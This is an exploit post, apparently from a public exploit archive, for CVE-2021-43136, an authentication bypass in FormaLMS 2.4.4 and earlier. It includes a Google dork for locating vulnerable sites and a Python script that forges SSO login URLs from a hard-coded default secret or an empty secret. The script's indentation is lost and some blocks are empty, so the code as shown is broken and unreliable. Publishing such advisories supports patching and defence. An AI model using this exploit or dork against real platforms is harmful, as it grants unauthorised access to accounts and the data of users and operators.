FormaLMS 2.4.4 Authentication Bypass

FormaLMS versions 2.4.4 and below suffer from an authentication bypass vulnerability.

MD5 | 2b3e4ad97facc1c98739b4b6cc6e66e2

# Exploit Title: FormaLMS 2.4.4 - Authentication Bypass
# Google Dork: inurl:index.php?r=adm/
# Date: 2021-11-10
# Exploit Author: Cristian 'void' Giustini @ Hacktive Security
# Vendor Homepage:
# Software Link:
# Version: <= 2.4.4
# Tested on: Linux
# CVE : CVE-2021-43136

# Info: An authentication bypass issue in FormaLMS <= 2.4.4 allows an attacker to bypass the authentication mechanism and obtain a valid access to the platform.

# Analysis:

# Nuclei template:

#!/usr/bin/env python


The following exploit generates two URLs with empty and fixed value of the "secret". In order to achieve a successful exploitation the "Enable SSO with a third party software through a token" setting needs to be enabled


import sys
import time
import hashlib

secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c"

def help():

print(f"Usage: {sys.argv[0]} username target_url")


if len(sys.argv) < 3:


user, url = (sys.argv[1], sys.argv[2])
t = str(int(time.time()) + 5000)
token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with default secret: {final_url}")
token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with empty secret: {final_url}")

Related Posts